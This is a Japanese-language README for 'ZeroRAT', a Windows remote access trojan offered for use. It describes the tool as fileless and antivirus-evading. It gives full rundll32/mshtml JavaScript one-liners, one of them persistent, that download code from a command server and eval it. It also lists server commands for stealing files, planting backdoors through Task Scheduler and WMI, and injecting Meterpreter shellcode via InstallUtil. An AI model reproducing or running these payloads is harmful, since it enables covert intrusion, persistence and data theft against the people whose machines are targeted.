ZeroRAT

概要

Windows用の遠隔制御ツールです。クライアントは1つのコマンドを実行するだけで、Windowsのネイティブプログラムを使用し、ディスクにファイルを書き込みません。自然に免殺（アンチウイルス検知回避）の特性を持っています。再起動すると無効になります。

プログラム内のdownloadとuploadは、すべてクライアントの視点です。クライアントがサーバーからファイルをダウンロードすることをdownload、クライアントがサーバーにファイルをアップロードすることをuploadと呼びます。

設定

config.pyでクライアントの接続先アドレスと管理パスワードを変更します。debugをオフにすることを忘れずに確認してください。

プログラムはflaskとsqlite3に依存しています。pipでインストールしてください。

クライアント

<ip>:<port>を実際の接続先に置き換えてください。

通常版

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<ip>:<port>/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){window.close();}

永続版

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://<ip>:<port>/connect",false);while(1){try{h.Send();B=h.ResponseText;eval(B);}catch(e){}}

サーバー

管理画面： http://<ip>:<port>/server/

サーバーがサポートするコマンドは以下の通りです

sessions アクティブなクライアントを一覧表示
use <id> IDでクライアントを選択
set <key> <value> グローバル変数を設定
show globals/downloads/uploads グローバル変数、クライアントがダウンロード可能なファイル、クライアントがアップロードしたファイルを表示
delete session 現在のクライアントを削除
delete download/upload <id> IDでファイルを削除
upfile ファイルをサーバーにアップロードし、downloadsリストに追加
download download_fileとdownload_save_pathの2つの変数を設定すると、クライアントがファイルをダウンロードし、download_save_pathに保存します
upload upload_file変数を設定すると、クライアントがupload_fileのファイルをサーバーにアップロードします
backdoor tasks <time> Windowsタスクスケジューラを利用してバックドアを仕込みます。時間形式は00：00
backdoor wmi WMIを利用してバックドアを仕込みます。1時間ごとに実行
meterpreter shellcode InstallUtilを使用してshellcodeでmeterpreterを埋め込みます。事前にLHOSTとLPORTを設定する必要があります（migrate後でないとコマンドを受け付けません。.NET Framework 2.0が必要）